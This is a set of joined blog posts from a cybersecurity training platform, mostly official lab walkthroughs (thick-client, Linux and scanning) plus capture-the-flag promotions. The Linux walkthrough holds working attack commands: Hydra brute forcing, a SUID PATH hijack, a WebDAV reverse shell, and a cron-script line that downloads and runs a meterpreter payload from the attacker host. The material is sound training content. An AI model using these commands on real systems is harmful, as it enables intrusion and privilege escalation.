Human Connection Challenge Lab 6: Thick Client Applications Walkthrough Guide (Community Version)
Time’s Up! Congratulations to everyone who completed Lab 6: Thick Client Applications from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP>, <API IP>, or <Thick Client IP>. Simply replace this with the actual IP of your Kali instance or the specific target. Let's get started! Begin this challenge by setting up your Thick Client application with the API’s IP address. Go to the Remote Data Browser folder , right-click configuration.conf, then click Open with Notepad, and replace the original <IP:5000> with <API IP> or <API IP:80>. Task 1 Task 1 requires you to input a token that you’re meant to receive after you first log in to the Remote Data Browser application with the username and password provided in the Credentials panel. However, after logging in, the application doesn’t present any token. Under normal circumstances, when testing Thick Client applications, you’d have tools like ProcMon running while using the application to check for interactions with the file and operating system. In this lab, however, you can simply go back to the Remote Data Browser application’s folder. You’ll see that a token file has been created. Open it to find the token. Task 2 The second task asks for an admin token. However, you can’t access any admin panel through the application’s interface, meaning the role is set on login. First, open Burp Suite Community on your Thick Client machine. Then, set your System Proxy as follows: Go to Proxy settings > Manual proxy setup Toggle Use a proxy server to "on" Set the IP address as 127.0.0.1 Set the port as 8080 After everything is set up, turn on the Intercept feature of Burp Suite and log back into the application. On the login request, right click anywhere in the request panel and click Do intercept > Response to this request. This will result in a successful authentication response. It contains a JWT token that can be used in subsequent requests, the username that was used, and the current user’s role. From the response, you can assume that the API doesn’t tie the role to the session and instead sends it as a parameter to the application. The application then evaluates the role and presents the user with the appropriate panels. Now you can change the role in the response from user to admin. This will reveal a token in the Remote Data Browser application. Task 3 The final task asks for “the secret token in management”. Again, the application doesn’t offer this option. Clicking any of the vehicles, however, results in a Burp Suite request. The application sends this request to the server when selecting the truck option, along with the JWT received during the login phase. Since the vehicle parameter is the only one, you should focus on it for your final challenge. Adding an extra quote (‘) to the vehicle parameter returns the error “SQL query failed”. You can now safely assume this is vulnerable to SQL injection. Copy the original request into a file, retrieve.sqlmap, in your Kali box, and run sqlmap as follows: sqlmap -l retrieve.sqlmap --dump After hitting ENTER a few times (accepting SQLmap’s default options), you’ll be presented with your final token. Tools For this challenge, you’ll use a range of tools including: Burp Suite SQLMap Kali Tips When testing for Thick Client application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they don’t handle inputs securely. So make sure you check all user input forms and any buttons that direct you to different parts of the application. Although not required for this lab, you should always monitor operating and file system interactions and attempt to decompile the app to uncover all possible attack vectors. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Burp Suite Basics SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge Lab 4: Linux Official Walkthrough Guide
Time’s Up! Congratulations to everyone who completed Lab 4: Linux from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target. With all that considered, let's get started. Overview This challenge is in no way linear and you could start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first! For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!). I’ll simply talk through the technique that helped escalate privileges. Target 1 First thing’s first, as with any pen test, Nmap! nmap -Pn -sVTC -p- <Target 1 IP> Here’s a breakdown of the flags used in this command: -Pn: Skip ping scanning -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts -p-: All ports (1-65535) Scanning all ports reveals that a Redis server is running version 4.0.1 on the target host. Since you have a version number, the next step is to identify any public exploits you could use. A quick Google search for the version reveals there is a Metasploit module available for this. First, fire up Metasploit as root with: sudo msfconsole Then, set all the necessary parameters needed for the exploit: set srvhost <Kali IP> set lhost <Kali IP> set rhosts <Target 1 IP> Then simply run the module. Since the module was successful, you’ll get a connection back to your Kali machine’s listener. Dropping into a shell reveals that you are root, and you can read the token to complete the first Target. Target 2 Initial access Back to square one. Since you don’t know anything about the second target, you must Nmap it and see what services it’s running. nmap -Pn -sVTC -p- <Target 2 IP> Since the only running service is SSH and the version doesn’t look like it would be vulnerable to any known exploits, you can attempt to connect to it and hope to gather more information. ssh <Target 2 IP> The SSH banner mentions the system is “reserved for john and friends”. Even though you aren’t friends with john, you now know that “john” is a valid system user so you can attempt a dictionary attack against this user. hydra -l john -P /usr/share/wordlists/metasploit/burnett_top_500.txt ssh://<Target 2 IP> The dictionary attack will reveal a valid password, trustno1. You can now use this password to log in as john over SSH and get the low-level token. ssh john@<Target 2 IP> Privilege escalation Now that you have access to the target, you can attempt to escalate your privileges. One of the methods is to find SUID binaries owned by root. These are binaries that can be executed with the privileges of their owner. If you can find one that uses another binary from the $PATH variable, you could exploit this behavior to escalate your privileges. find /usr/local/bin -perm -4000 Checking for SUID binaries reveals /usr/local/bin/ls-lh. After dumping the strings of this binary, you can see that it uses ls from $PATH. This is extremely dangerous, as any user could escalate privileges by creating a binary called ls, adding it to a writable directory, and exporting their PATH to first contain this directory before anything else. And that’s precisely what you’ll do to exploit this! First, create a file in /tmp called ls.c. touch /tmp/ls.c Then, add the following code that will spawn bash when run: #include <stdlib.h> int main(){ system("/bin/bash"); } Finally, compile this to /tmp/ls, add /tmp as the first location of the PATH variable, and run the original SUID binary. gcc -o /tmp/ls /tmp/ls.c export PATH=/tmp:$PATH ls-lh /root Target 3 Initial access Again, start with an Nmap scan to see what services are running on the target host. nmap -Pn -sVTC -p- <Target 3 IP> You can see from the output that the target is running an Apache webserver titled anna’s website. You can extend your Nmap command to run all HTTP scripts that don’t attempt brute forcing or DoS-ing against the target and try to uncover more information. nmap -Pn -sVTC --script="http* and not(brute or dos)" <Target 3 IP> This reveals that the target is running webdav. However, the status code returned is 401, which means you need valid credentials to access this. You know the username is anna, you just need to find the password. hydra -l anna -P /usr/share/wordlists/metasploit/burnett_top_500.txt -f <Target 3 IP> http-get /webdav This command reveals the password 123456. Unfortunately, your Kali instance doesn’t have a webdav client such as cadaver, but creativity is part of a pen tester’s job! Instead, use Metasploit’s windows/http/xampp_webdav_upload_php to get a reverse shell. Even though the target is Linux, this will still work because it uploads PHP. However, while the exploit is running, you must access the uploaded file manually to trigger it. use windows/http/xampp_webdav_upload_php set rhosts <Target 3 IP> set filename shell.php set username anna set password 123456 exploit Once the exploit module is triggered, you can access the uploaded file from a different terminal: wget http://anna:123456@<Target 3 IP>/webdav/shell.php And, of course, this triggers the reverse shell and you get a connection back to your Metasploit listener. Privilege escalation Checking crontab, you can see there is a recurring job run by root that clears webdav. The permissions on this file allow it to be modified by anyone. At this point, you could, in theory, just make it read the root token into a world-readable file and finish the challenge. But did you really hack it if you don’t have interactive access? First, generate a reverse shell using msfvenom: msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f elf > shell.elf Then, serve it using Python: sudo python -m http.server 80 Then, set up your Metasploit listener (since the port is 443, remember to run Metasploit as root): use multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 443 set lhost <Kali IP> exploit And finally, you can modify the file run by the cron job to trigger your exploit. echo “wget http://<Kali IP>/shell.elf; chmod +x shell.elf; ./shell.elf” > /tmp/clear-dav.sh Once the job is triggered, it first downloads the file from your HTTP server. Then, you get a connection back to your Metasploit listener. Tools For this challenge, you’ll use a range of tools including: Nmap Metasploit Python GCC Hydra Tips When testing for vulnerabilities, remember that vulnerabilities may reside in any part of the target infrastructure. Subtle elements that appear unimportant could prove exploitable. So make sure you leave no stone unturned and check every single aspect of the target server. To learn more about some of the tools used in this lab, take a look at the following collections: Moving Around Secure Testing: Beginner Credential Access Privilege Escalation: Linux Introduction to Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!Human Connection Challenge: Season 1 – Scanning Walkthrough Guide (Official Version)
Time’s Up! Congratulations to everyone who completed Lab 2: Scanning from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge. This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. I’ve also used placeholders in some of the commands that would give away an answer directly, so if you see anything enclosed in angle brackets, such as <name server>, please make sure you replace it with the actual value, such as nameserver. With all that considered, let's get started. Overview Task: Identify the name server records of tinytown.bitnet. 1. What is the IP of the first name server for tinytown.bitnet? You’ll first need to open a Terminal on the Kali desktop. Next, you’ll need to query the DNS Server IP (found in the Machines panel) about the tinytown.bitnet domain using the nslookup (Name Server Lookup) tool. You’re specifically looking for NS (Name Server) records, so you can use the -type=ns parameter with nslookup to specify this: nslookup -type=ns tinytown.bitnet [DNS Server IP] The output of this command will return two name servers for the domain labelled with 1 and 2. Your next step is to identify what IP address is associated with the first name server (1). To do this, you can use nslookup along with the name server, domain, and DNS Server IP: nslookup <name server>1.tinytown.bitnet [DNS Server IP] This command will then return an IP address for the name server. 2. What is the IP of the second name server for tinytown.bitnet? As you’ve already identified both name servers, you’ll just need to run the previous command, except with the second (2) name server: nslookup <name server>2.tinytown.bitnet [DNS Server IP] You’ll then find the IP address associated with it. Task: Identify port service information for Target 1. 3. What service version is running on port 53? A network scanning tool like Nmap can help you identify the service version running on a specific port. To do this with Nmap, you can use the -sV option for service detection: nmap -sV [Target 1 IP Address] The output will show what service version is running on port 53. 4. What is the full service banner of port 22? There are a couple of ways to find the full service banner of port 22 – such as with Nmap or Netcat. If you’re using Nmap, you can modify the previous command to include the “banner” script along with the port number: nmap -sV -script=banner [Target 1 IP Address] -p22 The command line will then display the service banner from port 22. You can alternatively use netcat to manually connect to the SSH server. When a client connects, Netcat may present a banner that contains version information. To use Netcat, you’ll need the nc command along with the Target 1 IP address and specify you want to connect to port 22: nc [Target 1 IP Address] 22 When you run this command, the banner appears before the terminal hangs. Task: Identify a token on one of the ports. 5. What is the token? With the previous Nmap command, you initially found that three ports were open on Target 1. However, you’ll need to do a more thorough network scan to find another open port, one not initially found with the previous scans. To do this, you can expand your port scan to cover a much wider range by using Netcat to scan for open ports from 1 through 9000: nc -zvn <Target 1 IP Address> 1-9000 Here, -z will scan for listening services but won’t send any data, -v is verbose mode, which provides more detailed information, and -n tells Netcat not to resolve hostnames via DNS. This command will reveal a fourth open port. Now, you can use Netcat to connect to this port: nc <Target 1 IP Address> <open port> The token will then be displayed in the terminal. Task: Scan the TLS configuration on Target 2. 6. How many protocols are enabled? To scan for SSL/TLS configurations, you can use the sslscan tool. By default, sslscan scans port 443 and will return supported server ciphers, certificate details, and more. You can use sslscan like this: sslscan <Target 2 IP Address> The returned output will be verbose, but you can find and count the number of enabled protocols under the SSL/TLS Protocols subheading. 7. Name an enabled protocol. Using the previous output, name one of the enabled protocols. 8. What exploit are the protocols NOT vulnerable to? Using the same output, scroll down through the results until you find a subheading that’s named after a vulnerability and contains a similar string to: <Protocol> not vulnerable to <vulnerability name> The vulnerability has the same name as the subheading. Task: Identify and extract information from an SMB share on Target 3. 9. What Disk shared directory can you access? To extract information from an SMB (Server Message Block) share, you can use the smbclient tool. First, you’ll need to list the SMB shares on the target using the -L flag (the list/lookup option) with: smbclient -L //<Target 3 IP> You’ll then be prompted for a password, but you can press Enter to skip this. A list of SMB shares will then be displayed, three of which are shown to be a Disk type, so you know the answer will be one of these. You can now begin to go through the list and try to connect to the shares with: smbclient //<Target 3 IP>/<Sharename> However, this time when you’re prompted for a password and you press Enter, you might encounter a message when you try and connect to a share: NT_STATUS_ACCESS_DENIED If you attempt to connect to all shares, you’ll find you can connect to one share without a password. You’ll then be greeted with the following prompt to show the successful connection: smb: \> 10. What is the token stored in the directory? Now that you’re connected, you can execute commands to interact with the SMB share. If you run ls, you’ll find a token.txt file in the current directory. You can then download the file from the share onto your local machine with: get token.txt On the Kali desktop, open the Home folder and the token.txt will be inside. Open this file and find the token. 11. What is the username stored in the directory? After you’ve run ls in the SMB share, you’ll find not only token.txt, but also a file named creds.txt. Use the same command as you just did previously to download the file onto your machine: get creds.txt This file will also be downloaded to the Home folder, where you can find a username and password. Task: Identify open services on Target 3. Task: Connect to Target 3 with the previously found credentials. 12. What is the token stored in the user's /Documents directory? For this final task, you first need to scan the target using Nmap. You’ll find that if you attempt to scan the target without using the -Pn flag, you’ll get a response saying that the host seems down. However, if you run Nmap with -Pn, you’ll find some ports are open: nmap -Pn <Target 3 IP Address> However, the ports returned from this command don’t offer a way to connect to the target. You’ll also need to scan the 6000 most popular ports: nmap -Pn --top-ports 6000 <Target 3 IP Address> These results will now show two additional ports are open regarding the Web Services Management (Wsman) protocol, which is used to communicate with remote machines and execute commands. One of the tools that implement this protocol is Windows Remote Management (WinRM) which is Microsoft’s implementation of Wsman. Knowing this, you can now use Metasploit to interact with the target. In your terminal, run: msfconsole Once loaded, you can use the the following auxiliary module to connect to a system with WinRm enabled and execute a command with: set cmd ls You’ll then need to set the following options, using the credentials you found in the creds.txt file: set username <username> set password <password> set rhosts <Target 3 IP Address> Next, you need to set the cmd option with the command you want to run. If you use the ls command, you’ll be able to find what out files are in the directory you connect to: set cmd ls With all the options set, you can now run the module: run The results of the executed command will be printed on the screen and also saved to a directory, but both show the existence of a token.txt file in the current directory. You can now set the cmd option to type token.txt in Metasploit: set cmd type token.txt Once set, use the run command to send the updated command: run The contents of token.txt will then be displayed on the screen and outputted to a file. Tools For this challenge, you’ll use a range of tools including: Nslookup Nmap Netcat Sslscan Smbclient Metasploit Tips You can use different tools and parameters within those tools to scan for and find information, so don’t be afraid to try out a few different things! If you want to learn more about some of the tools within this lab, take a look at the following collections: Reconnaissance Nmap Infrastructure Hacking Introduction to Metasploit Post Exploitation with Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions, as long as you find the answer, you did it – well done! If you found another way to find some of these answers and think there’s a better way to do it, please post them in the comments below! I hope you enjoyed the challenge and I’ll see you for the next one.Cyber Countdown: Day 4
Throughout December we are unwrapping, fresh content, celebrating this year’s successes, and gifting you with the tools and insight you need to be ready for 2025. Today's Lab is Return to Haunted Hollow: Haunted Helpdesk and today's Sim is The Flashpoint Podcast – Orchid Investments.The Human Connection Challenge Lab 1: Basic OS Skills – Walkthrough Guide (Community Version)
This is a walkthrough guide written by one of our community members, who offered to give their perspective on the challenge. Interestingly, they approached this challenge by completing some of the tasks in the graphical user interface (GUI) instead of the command line.The Human Connection Challenge Lab 1: Basic OS Skills - Walkthrough Guide (Official Version)
In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge.Introducing The Human Connection Challenge: Season 1
Starting today we will begin releasing a series of all-new Challenge Labs. Each month you’ll be given the chance to showcase your cybersecurity skills across a range of topics and climb the Season 1 Leaderboard, with the chance to win kudos and rewards along the way.Face Your Fears this Halloween and Return to Haunted Hollow
🧛♀️ Brace yourselves, brave souls! The haunted season has returned, and with it, an all-new cybersecurity adventure—Halloween 2024: Return to Haunted Hollow. The sinister spirits of cyberspace await you in this terrifying sequel to our 2023 Halloween collection, The Haunted Hollow. This is no mere challenge—it’s an eerie expedition through 9 haunted labs designed to test your skills and sanity alike. Whether you're a seasoned crypt keeper of the cybersecurity world or a curious newcomer, there's a fright waiting for everyone in this immersive capture-the-flag experience! 🔮 From unraveling encrypted secrets to hunting ghosts in packet captures, every lab holds the key to defeating the horrors lurking within. Can you escape the Haunted Helpdesk, break the Encryption Enigma, or uncover the Spooky, Scary, Silly Snaps? Each step you take deeper into this digital graveyard will challenge your mind and test your courage, until you can break out of the park through the Emergency Exit! 🕷️ With a difficulty ranging from approachable to spine-chillingly tough, it’s not about conquering all the horrors—just enough to emerge from the shadows with your sanity intact. Gather your wits, grab your digital lantern, and get ready to explore the most terrifying corners of cyber horror! 🧛 Release Date: October 16th ⌛ Estimated Time to Complete: 5 hours 👻 Labs: 9, each more terrifying than the last 🎃 Difficulty Range: 2-6 🧟 Collection Type: Challenge Lab details Note: These labs can be completed in any order, but we have ordered them from most accessible to most challenging. The final lab can only be completed after the other labs have been completed. The prequel collection doesn’t need to be completed before you can dive into these labs, but if you're craving some extra chills and thrills, feel free to haunt them first! Phishing for Treats Difficulty: 2 Skills required: None – this lab should be accessible to all audiences What's involved: This lab is a new phishing emails lab, with Halloween-themed emails. Users have to identify whether the email is 'safe' or 'spam' based on indicators from the emails. PCAP Pandemonium Difficulty: 4 Skills required: Packet capture analysis (Wireshark) What's involved: In this lab, users will need to analyse multiple packet captures using Wireshark to identify answers to the questions from the network traffic. Delving Deeper Difficulty: 4 Skills required: Web application enumeration What's involved: Users will need to explore a web application in order to gain access to a computer terminal within the application. From there, they'll need to interact with a simple API. Encryption Enigma Difficulty: 5 Skills required: Modern encryption/encoding techniques (Knowledge of how to use CyberChef will be useful) What's involved: Users will need to identify the correct encoding and encryption technique used to obfuscate each message in an application, before decrypting/decoding each message. Confusing Code Difficulty: 5 Skills required: Linux enumeration techniques, reverse engineering (particularly using Ghidra) What's involved: Users will need to use Linux enumeration techniques to identify a binary, before reverse engineering that binary to figure out how to exploit it. Haunted Helpdesk Difficulty: 5 Skills required: Linux enumeration and privilege escalation techniques What's involved: Users will be dropped into a restricted environment. From there, they'll need to figure out how to escape, and escalate their privileges to root. Fearsome Forensics Difficulty: 6 Skills required: OSINT, web application enumeration, modern encryption techniques, steganography What's involved: In this lab, the user will need to explore the web application and discover clues using OSINT techniques. These clues will then be used to decipher encrypted messages, finally revealing how to extract a message hidden inside an image. Spooky, Scary, Silly Snaps Difficulty: 6 Skills required: AWS capabilities (particularly S3 and AWS permissions), Python scripting What's involved: Users will need to enumerate public S3 resources to identify credentials for an AWS account. From here, they'll need to interact with the AWS console, and identify a way of escalating their privileges on AWS. Emergency Exit Difficulty: 1 Skills required: None – this lab is a culmination of the preceding labs within the collection, but no specific skills are required to complete this lab. What's involved: In each of the labs in this collection, users would have been asked to make a note of a code. In this lab, they need to submit each of these codes. Share Your Thoughts Did you escape the Haunted Hollow? We'd love to hear from you! Remember you can post in our Help & Support Forum for hints, tips & collaboration from your fellow community of experts.
